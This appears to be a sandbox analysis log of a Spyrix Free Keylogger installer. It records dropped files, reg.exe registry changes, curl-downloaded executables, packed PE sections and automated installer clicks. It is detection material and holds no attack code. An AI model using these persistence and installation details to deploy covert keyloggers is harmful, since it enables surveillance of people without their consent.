Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\reg.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH

Source: Spyrix Free Keylogger.lnk.22.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Source: Uninstall Spyrix Free Keylogger.lnk.22.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe
Source: Spyrix Free Keylogger.lnk0.22.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Source: Gmail.lnk.69.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.69.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.69.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Google Drive.lnk.69.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.69.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.69.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

File written: C:\ProgramData\Spyrix Free Keylogger\temp\logger.ini

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Window found: window name: TSelectLanguageForm

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Automated click: I accept the agreement
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: [space]= .exe.6.dr

Static PE information: 0xFC3E2D57 [Fri Feb 8 17:01:11 2104 UTC]

Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: .d
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: .adata
Source: is-67IFD.tmp.22.dr	Static PE information: section name: .rodata
Source: is-67IFD.tmp.22.dr	Static PE information: section name: .rotext
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name: .adata
Source: is-EO3DV.tmp.22.dr	Static PE information: section name: .didata
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /4
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /19
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /31
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /45
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /57
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /70
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /81
Source: is-1I5NJ.tmp.22.dr	Static PE information: section name: /92
Source: ffws.exe.56.dr	Static PE information: section name: .rodata
Source: ffws.exe.56.dr	Static PE information: section name: .rotext

Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_08EBFDB8 push esp; retf	7_2_08EBFDB9
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_008650DC push 00865161h; ret	56_2_00865159
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00865B30 push 00865BB6h; ret	56_2_00865BAE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0086DEA3 push cs; ret	56_2_0086DEB4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_008660D4 push 0086613Ch; ret	56_2_00866134
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0086D2D4 push cs; iretd	56_2_0086D3AA
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00872002 push 00000075h; retf	56_2_00872004
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00874401 push ecx; ret	56_2_00874402
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00869C0D push eax; ret	56_2_00869C8D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0086524C push 008652D7h; ret	56_2_008652CF
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0086D586 push ebx; ret	56_2_0086D587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00865188 push 00865230h; ret	56_2_00865228
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_008675AC push 008675D9h; ret	56_2_008675D1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0086D3D6 push cs; iretd	56_2_0086D3AA
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00865DFC push 00865E74h; ret	56_2_00865E6C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_00867550 push 0086759Ah; ret	56_2_00867592
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_007B16A4 push 007B17DEh; ret	56_2_007B17D6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033CE001 push eax; ret	56_2_033CE108
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033CE001 push 033B4EC0h; ret	56_2_033CE5D1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337C310 push 0337C37Fh; ret	56_2_0337C377
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337F344 push 0337F3A1h; ret	56_2_0337F399
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337C390 push 0337C3BCh; ret	56_2_0337C3B4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337C388 push 0337C3BCh; ret	56_2_0337C3B4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_03375BF8 push 03375C5Dh; ret	56_2_03375C55
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337C3C8 push 0337C3F4h; ret	56_2_0337C3EC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0338110C push ecx; mov dword ptr [esp], eax	56_2_03381111
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337D1FC push 0337D228h; ret	56_2_0337D220
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337D1FA push 0337D228h; ret	56_2_0337D220
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337C1D0 push 0337C30Dh; ret	56_2_0337C305
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0337573D push eax; ret	56_2_03375779
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_03375F2C push 03375F58h; ret	56_2_03375F50

Source: [space]= .exe.6.dr	Static PE information: section name: .text entropy: 7.81759162350406
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: entropy: 7.970560832581065
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: entropy: 7.995359849273399
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: entropy: 7.98989686324796
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: entropy: 7.581553890924904
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: entropy: 7.998441689187187
Source: is-9U2JI.tmp.22.dr	Static PE information: section name: .d entropy: 7.923610064617086
Source: is-719F1.tmp.22.dr	Static PE information: section name: entropy: 7.972249623981622
Source: is-719F1.tmp.22.dr	Static PE information: section name: entropy: 7.99458999281375
Source: is-719F1.tmp.22.dr	Static PE information: section name: entropy: 7.992015849394924
Source: is-719F1.tmp.22.dr	Static PE information: section name: entropy: 7.515192733866904
Source: is-719F1.tmp.22.dr	Static PE information: section name: entropy: 7.998936896615619
Source: is-719F1.tmp.22.dr	Static PE information: section name: .rsrc entropy: 7.953583660494071
Source: is-719F1.tmp.22.dr	Static PE information: section name: .data entropy: 7.561972396742998

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9U2JI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JVHDE.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\curl.exe	File created: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\webbrowser.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-24VMR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-67IFD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JLPKJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_setup64.tmp	Jump to dropped file
